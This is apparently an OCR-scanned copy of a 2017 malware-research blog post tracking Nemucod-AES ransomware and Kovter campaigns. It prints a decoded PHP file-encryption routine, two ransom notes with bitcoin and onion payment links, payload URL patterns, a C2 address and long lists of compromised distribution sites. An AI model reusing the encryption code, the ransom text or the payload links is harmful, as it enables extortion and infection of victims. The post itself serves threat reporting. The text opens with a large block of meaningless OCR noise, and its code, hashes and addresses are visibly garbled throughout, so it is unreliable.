vcIozWsZ34YYH1CZ7dZCOMPAT_MODE cPDXy FyttgKO6QAVAVIrr8RHEPtbkWKm3r1Y1IvBOBTWtdOSEpGSOFCOMPAT_MODEAFgrSCUIGEQgi iCOMPAT_MODEJSHGINVONFEPXUSMiNGYF1ODGXOPL/101eTUC+qHb4sLINIpGLFmBIPEI6neSEFThRO3TOWYBAXKKCOMPAT_MODEK
3EuSsshjhGFY/vGjVFqg3sDNXBSAYxKbRBA/ 1kp63FyG1CfrdInjiWlCOMPAT_MODEgO3c8s5u02nC2eeu+ivkBYZsDoCCXwMTU/ 33hFOL10wr3PGA0eNzmt C2G1 Yt ibz YwtaDIFDapPT rg6KzuSj3QvclSHodXMIviB1CMZACOMPAT_MODEttkjeCGPpA0O7uTIT2AXydnQXEPZAN
Lmpbf5N30D1m8J+zei9CpSpdwd9I6IAS 3wf8L ] rOMNtWX000C s EwlYUyNvpeBSAD2pFxCOMPAT_NODEJuHsGStD1nKT7TpzgoHeAoWe748yHCOMPAT_MODEATQu3COMPAT_MODEXrIWSWQh1ZXFulUyvCn8VemXL TkKHGKStCmiT/Vak]sFuwdtsu9COMPAT_MODENhXCOMPAT_NMOD
Ef/@05TPATszntNGNCry ThebVCYraHS i pN1+VHT7hIHiHSPjridkYWAPRbXRQ1D7ierviigCy31ZcCrVul 1ZgDQ1COMPAT_MODE /bQuehlmTb3tzG+XY1A0Gw2Ln3AIvYIsKnDQPOQCQUAQERB/ 8T Zj cEdkZxzSRpDYXTHZ62Ve1Cs8mKIINUDBOS// kpAu+izfQ3COMPAT_NODES
ThTTUEFpr31p4qt4vVarowCOMPAT_MODEhnd9tLx13u2mQNATUORS 1 +uiihy7kiipSARENX Tk TutUM+ikpK1L5xHUGAGF 6ErnX+qsAHiGoQoXISuuvq3r09KS fulilez6u8S NFYI3HC78an 1 FHUKPRCOMPAT_MODEL LypIOLuKuF +wpXXNhrvxXLZkokGeiEcDGI6jSDcAmBWzdTE
hYX39FifG2L8OCLrH/uQSBWAbOXCG7tut16BVSMT8S jRUWRCSDgxs2Gdn 11 TDeFFocCOMPAT_MODEXQGP65iMCOMPAT_MODEFGASynugqz IyWSSANInbDRI3LLASytcHUCHYUSFGIZvF Fx7y@HXoSASxTuli/ igkPy1W3gqQPFF /hZ2NkDPXwkCOMPAT_MODEwwfyd9fsRncaqoQy
/AHUZ32hKCOMPAT_MODE +bD1+TfwSGVKh2wg TKQGO/ ZV8Xlixe cuEvSFEWSKe4 /BCOMPAT_MODERQN19FhOdFLHMT /h9bBURMogAABMko] ChfpliQH1gGFBPKVSBF rZMkiVix0833Lm6SXXLU2K7 TRZZtmOQS8H wixuz3vKI91inAUY903nm8FBigANVFROOXIUAHItHT6uInZyq11XZ
RpqXd7FL+uleMI9bC2zGAPGYRUC2/cZ26DIVAosmkyRFNXSKKQgHSVjiel/33mDLT/92InViDO3eCOMPAT MODEMR+T/dTZNhKL7jzVsFvqPsGuibekftjLmk+yDrUCOMPAT _MODE72VxpimuwSOusEK3rTzLCSAPQgkASE W]y PIKxu31xU9bIy@IvhI6xosngkpmDz8keFxxFo/I
X7yUFP7GP3bpuCOMPAT_MODEQCOMPAT_MODE 229rUGe+t7 1B+0fX4nsxkivxXCOMPAT_MODEuNFmT2pf4fZI3b2umwfkbDRpodoSIeNnleRzY/ tOvKIBsrSSCOMPAT _MODExesGX8jCOMPAT MODE6uFr6RNUS FHASPS/Cp8T2W  reBb/SvsXTCIwu25vIWS 2cFQtIt6XhEXm/pzH3tE
1yddWjQmNZXnToMYmNbx4V/ E20H1RCOMPAT_MODEwdgQee7H103X6DSNHIBoIvvRbPDI5XUGH/ e TC/@16dMMqe22yXZKhspsQsPoloURoj0AS fm8 /XFVcbCOMPAT_MODEyOnTdplx6dRtCCOMPAT_MODEKOXYIucy27FHOgRsU uy1GZ1xWoyBCONPAT_MODETHIt 9deltmoy swks
IH/1iPmDTF2YNv71wU6mS2KsGCOMPAT_MODE7+WRdoVGUgLCOMPAT_MODEUCOMPAT_MODEGERxYJo3YPLOVI1WNUNSNRAmpYKTKES Ikt QCOMPAT_MODESOGRNS1xZCOMPAT_MODEE740M50A2xQUC01RgS0STDEUXTDPTEQ/ 5g0vC1EWGDejiYeUTuugLCOMPAT_MODEjqbhLfndst
AxgvnalxL9BI6]3/xpFO68HYU7IoWIBVIFF8GrIQyhILE2CPiNTBXEMCOMPAT_MODE/3eCMoU+5b@sMynkCHM7y +vI1Uwr32M18ArY677brPh+tRq1COMPAT_MODEKBZAAZCIUycIfySIUySIUYVIRSIITUIngTId8K CWAKEOWAG /HUg5SwrLnBBNAN /8bBF4TuAsR2FevePRSjF
Ad1eCOMPAT_MODE I 3Ht LxWv /WVs+16MZSngu615sSLFHYqeM3putvFzs93tEgFNOPRUISiDBANFmAEPdWVFXiVxxS13LVZSYAVXT95RGY661vkivaCOMPAT_MODEIA7SmwBDWCRZbYSAOS I TFKEgivBURSAEFNY 2 Ixt EL354GNpAA6@dWrMgVIsKuTWSkRVKbWS j TCOMPAT_MODEQ
ddNS3yrMTDGPO7HMVHI+Ze@YEQ2COMPAT_HODEPq7dPApSg4NpUdrTpyliphZomYgUISaEby INMVCTES /yeoqHD7 36eiPKWNZ8hdzCOMPAT_MODE2Qb61+Q55IUuB+hKj+VeQyPPpp8ufa7xAu362+A2QmCOMPAT_MODEHUSRI7CREpZSVSHNgINCCOMPAT_MODE rH/COMPAT_MODEX
JdPWPgerwSIvRzGve8mYK1ZUBKzSqC/NCOMPAT_MODE1RqtIX11KzXB/21D00X8T9GGOVrn8xXCOMPAT_MODEMPxupTCOMPAT_MODEMg803pFhe2TdZcnyCOMPAT_MODEDiZt3IYfyyris8n@X7F rGHF28rq8yRb1D28gdEB6EL 1COMPAT_MODEbR16ZIFVyPIULYjqvmVbVutivkk
127yC7/CoGz1s5rYUjShERKt4v3bcUTx/4YA159mBrjeielDYCTfuBqrylyh6seNVKaciVCSuSCuy 2phBcOv26hBOIN Iy tQES+P/pmOF sR3uL noc+ok@zXerPxEu3hHmPMA++PPQDGLICZOTh+jNR3rrKXo0GVWG/ 1L rdnt jSCEWXFhNGTyeQK11kHnOCOMPAT_MODENBicGWzP3m
Ci4PkUzwRvuHZ7+BRB+qCOMPAT_MODELIQH8y rPxjQP7mhfuk+CFQ3ARKESAZEKXKyde+dethCOMPAT_MODERSdFXLSYgkWXVRQAZ1gmFPYFOrBBeusQQNT TRh3S8SKe3nvsvbzvAQISNrEUST +xK2GRORS cZy TFM19rqWusL ZxPoUlKzg9yUs4e9MOA3E / btGhEusKL3A415Ckul
p8A+OuVNND3jY6ne2QQYT7S9iNeus722zy5C1PPATBCOMPAT MODE: uSKqtITvoSLuegNRWUGESEOSIQpoRWy YIL THMUVRIBmFqOyMT rclJuKvNFZPspem7AS1F81+1COMPAT_MODESZYtjQnfoxx6gsPAOVVNPUFRICAEZkRYSYs cX1mNHmnwTHKBQ/8COMPAT_MODE2quBX+cn+]
VAh8YFnTGgImSncleSViPNNCOsRICH/vOgOnHATdi4QZS4y520148GzK2uShCiFZeUd3NbqOCOMPAT_MODEWF3PcTgs0ju35Y+ineXomAVyh8AidUEDky703826V7hEhvEYGY34MAbyuByi c37kFb8KDCDUZYHNH/ 3Pbpcb /Be FQF 17F21V6v IN3RXnXy 7KbDrMkthM+hNZuImGgs
+ddH+COMPAT_NODEJiDnDBPIirgyboiH7ICONPAT_MODEAD3pTGYsIyNeNLcVCOMPAT_MODEyy 1yMFeoQ+XCZ+3DhMA3K7 c41gNLNCABSHOFbN3 cFCOMPAT_MODEGK3Haf jySoZymrbiRQ6qxuPS2+0CFUNLHzx4goR3hVEBd1COMPAT_MODE JHpwNAG2pNeb6VhsotAi3godPsIGVA
/UtLPqqfs1HLfIogH9jDds IMy lowSyiKvx0s2COMPAT_MODENCRWKC/sdB/ zlib+y6126Didved lU3PhzKi8Br8YKEEUKRY KN/ UATESEENhbCx FbSpagly cXNBOHQLS ¢/ EHx@zx3/ ILYbQWV+LF COMPAT_MODEISHpbkACOMPAT _MODENyuBSedt4WjicurFUfgiVIIKltrpuSpy9E
xi19v+NPGCRLEBPZBXCOMPAT_MODEuuf1/tpy159v5dKEB6L11AZE4QP6WTIKIOIbS cUWK8imBptHKC TdXbyKi1QoBcc34yEOHCdm6yQOGr/ZZSCh10HEONMINBOAT+6/Yn+U7L72e4DRrsB+Y§C1TEIRZ541/vCHEXNY FBI/ CDVKRY/ PKUSgEKUGT 3FDgG T IgHNCOMPAT_MODENY?
xMGTFy5XBz000p7Vuul6cY012ZjIAR02COMPAT_MODELbVixq08/YtNkhapnkxy+vVBuwslenMkndEOCmO3Ia/KLxNNIxvz IhrdH2s3UGGA+RAADCbSRDZCXxw?RNPQHBKIBEVDS 767/ yATvwtRt4Y1HCOMPAT_MODEDAI8Z2+bCQ80WpSqqS1IANKCOMPAT_HODEPY1qFZ1tE@dbt
1/9MLmnog2G8vp5i4Thp03FHO68bTRCYAE1UZ1LSHIKPtidMIUHS TurPOB-+amBI1+FTXk7/bIv1wRInkicpU70cwniot390Efoz /672ivp2m/ UxBPuEBYYbKOOTGC tn290N1MBpL Fs@KwMnL@edi1vUnwuZiMIpD7RkeEF121VDfyIt791bOLI0Wi aePws pUaMzpBcbOYamS 3U91Ne
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http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/wp-content/uploads/2017/06/counter1_decoded.png
http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/wp-content/uploads/2017/06/counter11.png
http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/wp-content/uploads/2017/06/counter11_decoded.png

Which in turn needs further decoding to make a working php file that actually does the encryption, which | decoded using the online php
decoding service http://www.unphp.net/decode/519e3ad90af1d2854b014a259e079e98/ giving something more readable to humans

Where_| am told the relevant part for our purposes is:

‘$db = fopen(Sfn . ".db", "uv);
1 foreach (S_SER\’ER["E;;EE"] as §£file) {
$fp = fopen ($file, "r+"):

if ($fp === false) continuoe;

S$trash = "";

for ($i = 0:;%i < 2048:§i++) $trash.= chrimt rand({0, 255)):
Skey = "";

for ($i = 0:%i < 128;%i++) Skey.= chrimt rand(0, 255)):
faes = new Crypt_ AES (CRYPT_RES MODE_ECE);
faez->zetKeylength (128) ;

Saes-rsetKey (Skevy) :

b = fread($fp, 2048):

fseek ($fp, 0):

fwrite ($fp, substr($trash, 0, strlen($b))):

folose ($fp)

£b = Zaes-»encrypt($b):

$rsa = new Crypt RSA():

Srsa->loadEey (Skevpub) ;

$key = Srsa-rencrypt ($key):

fputs (8db, $file . " " . base64 encode($key) . " " . base64 encode($b) . "

mhiE
]
felose ($db) ;

Showing a high level of encryption that at this time appears unable to be decrypted without paying the ransom.

This ransom note ( or something similar with different links gets displayed on the victim’s desktop

ATTENTION!

All your documents, photos, databases and other important personal files were encrypted
using a combination of strong RSA-2048 and AES-128 algorithms.

The only way to restore your files is to buy decryptor. Please, follow these steps:

1. Create your Bitcoin wallet here:
https://blockchain.info/wallet/new

2. Buy 0.11471 bitcoins here:
https://localbitcoins.com/buy_bitcoins

3. Send 0.11471 bitcoins to this address:
<%ADDRESS% >

4. Open one of the following links in your browser:

http://elita5.md/counter/?1GCn9vz73FNDmoVxgxXqjo7dSXyLmfnTDt
http://artdecorfashion.com/counter/?1GCn9vz73FNDmoVxgxXqjo7dSXyLmfnTDt
http://goldwingclub.ru/counter/?1GCn9vz73FNDmoVxgxXqjo7dSXyLmfnTDt
http://perdasbasalti.it/counter/?1GCn9vz73FNDmoVxgxXqgjo7dSXylL mfnTDt
http://natiwa.com/counter/?1GCn9vz73FNDmoVxgxXqgjo7/dSXyLmfnTDt

5. Download and run decryptor to restore your files.

You can find this instruction in "DECRYPT" file on your desktop.

The original js downloads 4 files via the counter file1 is Kovter as usual, the second is unknown and there is a massive 6.7mb php
interpreter. The 2nd file won’t run without the php interpreter. It looks like it also belongs to PHP and both php files together are needed to run
the downloaded php counter files to encrypt the computer

You get 3 identical named files, with different file extensions in THIS example from 4 July 2017 we got

162citM2mvkp8bEpsLyUchneaUyauzndYZ.doc which appears to be data and not a word doc that is somehow involved in the ransomware
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http://web.archive.org/web/20181007211751/http://www.unphp.net/decode/519e3ad90af1d2854b014a259e079e98/
http://web.archive.org/web/20181007211751/https://twitter.com/demonslay335/status/880173903506755584
http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/wp-content/uploads/2017/06/decoded_php.jpg
http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/wp-content/uploads/2017/06/nemucod_ransomware_instructions.jpg
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/cd9fdeafdb50a3f66ce0adbb58b735d6820abb009ab0b8a517c786119ecffbb4?environmentId=100

162citM2mvkp8bEpsLyUchneaUyauzndYZ.php ( VirusTotal)
162citM2mvkp8bEpsLyUchneaUyauzndYZ.exe which is a genuine php interpreter file ( VirusTotal)

All 3 work together to do the ransomware and need to be called and run from the original js file and needs all files to be downloaded to the
correct places on the victim’s computer otherwise you don’t get ransomed

then we got the Kovter malware payload as well from winnicemoldawii.pl/counter/?2 ( VirusTotal)

For some reason a manual download using Internet Explorer browser or Wget with an IE User Agent of the URL in the emailed .js file will
give a cut down version of the counter file which only gives Kovter & the innocent PHP files not the ransomware, but using a null user agent or
Firefox or Chrome gives the full counter as shown and made available in the PayloadSecurity report which contains the embedded php
ransomware file in encoded/obfuscated form. | suppose that this is intended to fool or create confusion for researchers who tend to use an IE
user agent in Wget, because so much malware wants to use |E as a downloader because that is the default browser on many susceptible
victim’s computers.

winnicemoldawii.pl/counter/?
0000000162citM2mvkp8bEpsLyUchneaUyauzndYZ01260400MIIBIJANBgkghkiGOWOBAQEFAAOCAQ8AMIIBCgKCAQEAwWxpXEMYyKM9ghv4vg8
eQJWKXMCcsTvSGINW4hF_NZSEsKY]En9GUXLPGcW1emZ92jcflitfODcX0Rul8cUUuHFkecH4bzAVAb32DVSS6QIhSVKYffqtfdzKEXIWKMrEAK1¢
mCCBQIaC7me9cOUxchwi9TetRquy4w1SvcAUIL4H8_IviuKtT7B-jbrkYqTbS5CpyqV1nDKg4xiwW-2MCHBES3yE-
TKsOS9G35UwrO99GNcEMX30k2eFEEjjnipdLjTkYdvtt67RxK_hC_5YvB7flwIDAQABrRR99hCv_aYRHvQBjLN6HIk554pvQ67j-
PFrSY9rXarZYBubvEMJOImIg-Zm9wNMEmMNOm-4S8UgLWyNXbEDCPzEt0

None of the online sandboxes were able to show encryption in action although they do show all the downloaded files ( | don’t think any of the
sandboxes are set to act on all retrieved files only .exe files). All the sandboxes did show error messages about missing files and missing
dependencies, that doesn’t happen on the majority of real computers.

https://jbxcloud.joesecurity.org/analysis/300085/1/html

https://www.virustotal.com/en/file/d167368409c3fa244e17cef06eb83174b03fc0397cb0d907daf30dfdba5e100e/analysis/1498629470/

The Kovter download looks like it works separately to the ransomware but might actually be involved somewhere along the line.

https://www.virustotal.com/en/file/21efa5573721890cdcf9481f613ccb7d633733f05bc29cfeae402802e382cc92/analysis/1498630707/

https://www.hybrid-analysis.com/sample/21efa5573721890cdcf9481f613ccb7d633733f05bc29cfeae402802e382cc92?environmentld=100

Sites involved in this campaign found so far this week:

resedaplumbing.com
modx.mbalet.ru
artdecorfashion.com
eventbon.nl
elita5.md
goldwingclub.ru
www.gloszp.pl
natiwa.com
desinano.com.ar
amis-spb.ru
perdasbasalti.it
120.109.32.72
calendar-del.ru
indexsa.com.ar

Update 2 July 2017: new sites found, many of last week’s sites are still being used as well
Example files:

https://www.hybrid-analysis.com/sample/1e847dcfd6eeebee068e5be729ed4b0cc389d9e9557d5¢c8ad93225fa0192e2¢cf?environmentld=100

https://www.virustotal.com/en/file/1e847dcfd6eeebee068e5be729ed4b0cc389d9e9557d5¢c8ad93225fa0192e2cf/analysis/1498977456/

singley-construction.com
mebel-vito.ru
desinano.com.ar
box-m.org
nikmuzschool.ru
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http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/c846b7c623083e255ebcd563e35908aba0b88e3d316f370a9e7fd9f5fe349bf7/analysis/1499148450/
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/482711b2f17870ddae316619ba2f487641e35ac4c099ae7e0ff4becd79e89faf/analysis/
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/7045af1a01e7d9a7f7e786e5d778b6a9a82a33c81223625fc36ba82e64cbe7db/analysis/1499148174/
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/cd9fdeafdb50a3f66ce0adbb58b735d6820abb009ab0b8a517c786119ecffbb4?environmentId=100
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/d167368409c3fa244e17cef06eb83174b03fc0397cb0d907daf30dfdba5e100e?environmentId=100
http://web.archive.org/web/20181007211751/https://jbxcloud.joesecurity.org/analysis/300085/1/html
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/d167368409c3fa244e17cef06eb83174b03fc0397cb0d907daf30dfdba5e100e/analysis/1498629470/
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/21efa5573721890cdcf9481f613ccb7d633733f05bc29cfeae402802e382cc92/analysis/1498630707/
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/21efa5573721890cdcf9481f613ccb7d633733f05bc29cfeae402802e382cc92?environmentId=100
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/1e847dcfd6eeebee068e5be729ed4b0cc389d9e9557d5c8ad93225fa0192e2cf?environmentId=100
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/1e847dcfd6eeebee068e5be729ed4b0cc389d9e9557d5c8ad93225fa0192e2cf/analysis/1498977456/

4southern.com

musaler.ru
uploadmiller.miller-media.at
csasesores.com.ar
vademecsa.com.ar
vinoteka28.ru
zgqyzjxh.com
osadakrajenska.pl
chymeres.org
www.mecanique-de-precision.net
winnicemoldawii.pl
www.agrimixxshop.com
luxe-limo.ru

Update 7 July 2017: new sites include : ( still older sites being used as well ) But there is a slight change to the js file in the email zip. | think it

is basically a change in the order the instructions & vars are laid out rather than any major functional change. They still download counter.js
which contains an embedded php file which performs the ransomware attack along with multiple other associated files and of course Kovter

Trojan

produzirtransforma.com
sharedocsrl.it
ferabusiness.com
lamancha.club
www.shiashop.com
atagarden.com
bennuakar.com
blog.3yinaudio.com
expert5.ru
serdcezemli.ru
infosoft.pl

beta.smk.dk
anthonyadavies.co.uk
emsp.ru
anahata2011.ru
sel.w.filipac.net
ekokond.ru
jesionowa-dental.pl
www.slayerevival.com
b2stomatologia.pl
snw.snellewieken.nl
dilaratahincioglu.com
connexion-zen.com
chatawzieleni.pl
ongediertebestrijding.midholland.nl
ionios-sa.gr
infermierifktmatuziani.org
it.support4u.pl
bandanamedia.com
www.proleite.com.pt
xn—2016-gwea7d0alb0d.xn--p1ai
navigator-vs.ru
ladeya.ru

gimn5.by.
xn--80aaumty.xn--p1ai
fundacio.basquetcatala.cat
laurel.net.au
integralmea.com
magazin-mmv.ru
kominki.szczecin.pl
realitybusiness.be
northernhydro.co.uk
drmalishop.com
rcproracing.com
kingoffoodgarden.com
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w-iii.com
hmymrmf.com
syesdzs.com
henri-le-roy.fr
eastmarine.com.sg
upper-int.ru
newborn.cm
mymrmf.com
nkdeng.com
aimcompany.net
bombayhospitalandtraumacentre.com
heixiangzi.com
angiti.by

Example files today:

UPS-Delivery-9106926.doc.js [virustotal] [payload security]

counter.js [virustotal

1CsnkH4ym42iWx065QoRtFDC4aPD93QU7e2.exe [VirusTotal] Kovter

1CsnkH4ym42iWxo065QoRtFDC4aPD93QU7e.exe [virustotal] same as been seeing for several months now. php interpreter

1CsnkH4ym42iWxo065QoRtFDC4aPD93QU7e.doc [virustotal] not a doc file but some sort of data used in the attack. either to fool analysis or
as part of the attack itself

1CsnkH4ym42iWxo065QoRtFDC4aPD93QU7e.php [virustotal] which performs the ransomware attack Decoded Version
http://www.unphp.net/decode/519e3ad90af1d2854b014a259e079e98/

Update 23 July 2017: A change in the ransom note and a change in the decryptor download sites which is now the same range of onion site
as the payment sites rather than the compromised websites that are delivering the malware. This has changed since last week to

https://bgl3mwo7z3pqyysm.onion.link/?14ZqLvq8a8Fok1J7E3ZymgqWPTUwX6Za2Gc
https://bgl3mwo7z3pqyysm.onion.to/?14ZqlLvq8a8Fok1J7E3ZymqWPTUwX6Za2Gc
https://bgl3mwo7z3pqyysm.onion.casa/?14ZqLvq8a8Fok1J7E3ZymqWPTUwX6Za2Gc

ATTENTION!

All your documents, photos, databases and other important personal files were encrypted
using a combination of strong RSA-2048 and AES-128 algorithms.

The only way to restore your files is to buy decryptor. Please, follow these steps:

. Create your Bitcoin wallet here: https:/ /blockchain.info/wallet/new
. Buy 0.12147 bitcoins here: https:/ /localbitcoins.com/buy_bitcoins
. Send 0.12147 bitcoins to this address: 14Zqlvq8a8Fok1J7E3ZymqWPTUwX6Za2Gc
. Open one of the following links in your browser:
https:/ /bgl3mwo7z3pqyysm.onion.link/?14ZqlLvq8a8Fok1J7E3ZymqWPTUwX67a2Gc
https:/ /bgl3mwo7z3pqyysm.onion.to/?14Zqlvq8a8Fok117E3ZymqWPTUwWX6Za2Gc
https:/ /bgl3mwo7z3pqgyysm.onion.casa/?14Zqlvq8a8Fok117E3ZymqWPTUwX6Za2Gc
If all of these pages are not available:
o Download Tor Browser here: https:/ /www.torproject.org/download /download-easy.html.en
o Install and run Tor Browser

o Open this site in Tor Browser: http:/ /bgl3mwo7z3pqyysm.onion/?14Zqlvq8a8Fok1J7E3ZymqWPTUwWX67a2Gc

. Download and run decryptor to restore your files.

https://www.virustotal.com/en/file/f2281cdabf9498ee754740b69c41d15f3ba91a82eb61d34f2cd857acaeaab962/analysis/1500796303/

https://www.hybrid-analysis.com/sample/f2281cdabf9498ee754740b69c4 1d15f3ba91a82eb61d34f2cd857acaeaab962?environmentld=100
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http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/21819cf3585d636e6046ed1b637929433d5f7f9da4660985ede45e65cbcd7afd/analysis/1499408892/
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/21819cf3585d636e6046ed1b637929433d5f7f9da4660985ede45e65cbcd7afd?environmentId=100
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/f32c9a1d04c7c75f1f6553e120e59c9038ccd429c90c11e4c658fce46df4e14f/analysis/1499409803/
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/f31ef74a4ad559c6f9e38968ecda299a1a5e76b790a1155e3dbc71323eee3a8c/analysis/
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/482711b2f17870ddae316619ba2f487641e35ac4c099ae7e0ff4becd79e89faf/analysis/
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/bfe03aadfe51b67de02fef1b5d517a77c90b509df5d393bdc9b0da49ac31fd5c/analysis/1499409471/
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/ea356ff9a49e3858d7bd312766f1bb8197b93e50dcb419530043df256631f560/analysis/1499410194/
http://web.archive.org/web/20181007211751/http://www.unphp.net/decode/519e3ad90af1d2854b014a259e079e98/
http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/wp-content/uploads/2017/06/new_nemucod_aes_ransomware_note.png
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/f2281cdabf9498ee754740b69c41d15f3ba91a82eb61d34f2cd857acaeaab962/analysis/1500796303/
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/f2281cdabf9498ee754740b69c41d15f3ba91a82eb61d34f2cd857acaeaab962?environmentId=100

Decoded PHP at: http://www.unphp.net/decode/ce94e4156cb2012f70a6553a21f0f7d9/

Update 30 July 2017: Over the last week we have noticed most zips have contained a 0 byte .js file. Then on Saturday 29 July 2017, they
started to reuse several of the very old sites from 1 month ago, most of which are cleaned up and no malware on them. Then today Sunday 30
July 2017 emails coming with several new sites and another slight change in the js files, where several of the var & function names have
changed and an extra layer of obfuscation applied. Still same onion site for payments. We are also noticing a slight change in some of the
delivery emails. Instead of a generic Dear customer, they are inserting Dear < recipient’s first name> but only where the recipient has a
definitely recognisable human name. emails sent to recipients such as info@, help@), customerservice@, scanner@), Xerox994@ etc all still
get Dear customer.

janken.fr
deezz-menswear.nl
WOomensjoy.ru
kamint.ru
meble-wierzbowski.pl
icemed.is
proserindustries.com
easy2ls.com
prozor.ru

zogg.ru
pink-moore.fr
sionparquetbois.com
pfaudler.ru
wallorail.be

Example files:

https://www.virustotal.com/en/file/f8fc70d9ceb046674b3ad22c0760c4fd28ec50a2c4f9de775933b208b804e1ad/analysis/1501390742/

https://www.hybrid-analysis.com/sample/f8fc70d9ceb046674b3ad22c0760c4fd28ec50a2¢4f9de775933b208b804e 1ad?environmentld=100

https://www.hybrid-analysis.com/sample/86bd1659314f319d13d22a5a745e0199c416d83ecd781d90d73d32ae215a1c2c?environmentld=100

https://www.virustotal.com/en/file/86bd1659314f319d13d22a5a745e0199c416d83ecd781d90d73d32ae215a1c2¢c/analysis/1501392289/

It looks like the Payload Security reports are showing a false positive ( along with VirusTotal ) on some sites on the same IP numbers as the
malware sites. In particular the Russian Red Cross Site is being flagged as malicious. | cannot see any suspicious content on the links but it
might be worth the Red Cross webmaster investigating, just in case

URL: http://redcross.ru/user/Image/php/sudinfo.php?1757779/article/2017-01-07/chez-nous-le-film-engage-du-belge-lucas-belvaux-qui-enerve-
le-fn-video (AV positives: 2/65 scanned on 07/29/2017 15:12:59)

URL: http://redcross.ru/user/Image/php/sudinfo.php?1685092/article/2016-10-01/rallye-de-france-thierry-neuville-reste-2e-mais-perd-du-
terrain-sur-ogier (AV _positives: 2/65 scanned on 07/29/2017 15:12:52)

URL: http://redcross.ru/user/image/php/sudinfo.php?1721418/article/2016-11-18/la-justice-donne-raison-a-une-ado-de-14-ans-en-phase-
terminale-d-un-cancer-elle (AV positives: 2/65 scanned on 07/29/2017 06:18:30)

Update 16 August 2017: there has been a 2 week break from these, but this morning they are starting to trickle in again. The js attachment
and the resulting nemucod ransomware look functionally identical to the previous ones. Several of the sites are the same as the 30 July list
with quite a few new additions

plans-nature.fr
rubinsteintaybi.es
taboo.su
owczarekpodhalanski.pl
truckman73.ru
productoscobra.com
the100brasil.com.br
centraldosquadrinhos.com
www.jag.mako.hu
www.ecn.org
dogtrainings.net
x-rays.msk.ru
velhobrasil.com
jayveehr.com
dbstech.co.nz

Example Files and analysis reports

9/11


http://web.archive.org/web/20181007211751/http://www.unphp.net/decode/ce94e4156cb2012f70a6553a21f0f7d9/
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/f8fc70d9ceb046674b3ad22c0760c4fd28ec50a2c4f9de775933b208b804e1ad/analysis/1501390742/
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/f8fc70d9ceb046674b3ad22c0760c4fd28ec50a2c4f9de775933b208b804e1ad?environmentId=100
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/86bd1659314f319d13d22a5a745e0199c416d83ecd781d90d73d32ae215a1c2c?environmentId=100
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/86bd1659314f319d13d22a5a745e0199c416d83ecd781d90d73d32ae215a1c2c/analysis/1501392289/
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/url/013806ca0ff930e57d6e4fdec058a3937cb81f94b0b2abc8a6f51b82d4388de2/analysis/
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/url/f2e975a841b377c78ecbabbbd3b9eaf8b4ebea54503fd137bbd5fc25e7597d8e/analysis/
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/url/53c4110b2b31d4b1554a4dbe98e3b904ddfb07ed68b756aff1aa9f7322a54132/analysis/

https://www.virustotal.com/en/file/b5009e4137ad28cb4cc267c567e3dbd86842a4 11c09a2a7fadc36b70c7537fd2/analysis/1502861631/

https://www.hybrid-analysis.com/sample/b5009e4137ad28cb4cc267c567e3dbd86842a411c09a2a7fa4c36b70c7537fd2?environmentld=100

Update 19 August 2017:

we are seeing a change today and although the original .js inside the zip is downloading a counter file from the compromised sites, this doesn’t

appear to be nemucodaes ransomware today. It is still downloading the PHP interpreter and other php files but also a new file that has poor
VirusTotal detections. It appears to be Locky ransomware with a C2 185.75.46.193

Sites found so far involved today

omegaclube.net.br
ep1.businesstowork.com
spachristine.se
tatunet.ddo.jp
drjadhavpathlab.com
weddingandco.com
lukehorgan.com
reditec.info
gritfitnesstraining.com
drjadhavpathlab.com
stevecarlile.com
blog.baytic.com
amirmanzurescobar.com

<sitename>/counter/?pKecCkHJqtPHrGaZbLw6g96nPUZIkOPbcP31T4AgY5rzyqabRhRIp5-
yz3Tp7DD8Ke2HYOg7K48BFetgvryWkHOAMPcieVNXhHY0SCvU5ShYFzPbYyeviYtyt1v8TL6kc8i410

which when decoded gives

<sitename>/counter/?aY5rzyqa6RhRIp5-yz3Tp7DD8Ke2HYOg7K48BFetgvry\WWkHOAMPcieVNXhHY0SCvU5hYFzPbYyeviYtyt1v8TL6kc8i4l
+n where n is 2-4

Analysis reports

https://www.hybrid-analysis.com/sample/da40684ec0f603ca5bfdc99b958fa39d3b64f5aabb1096ce2570c478259f177e?environmentld=100

https://www.virustotal.com/en/file/3b60fde281d91cc3e7ea3e343ee5b13a31def564903c0136ae928f70e25c3c02/analysis/1503142540/

https://www.hybrid-analysis.com/sample/3b60fde281d91cc3e7ea3e343ee5b13a31def564903c0136ae928f70e25¢3c02?environmentld=100

Update 20 August 2017:
Yet another change to the delivery method this afternoon/evening

Emails are still functionally similar but the attachment is now a html file that when opened pretends to be a word on line word document that
cannot be read in your browser so you need to download & run the plug in to make it work. The plugin is a js file that is exactly the same as
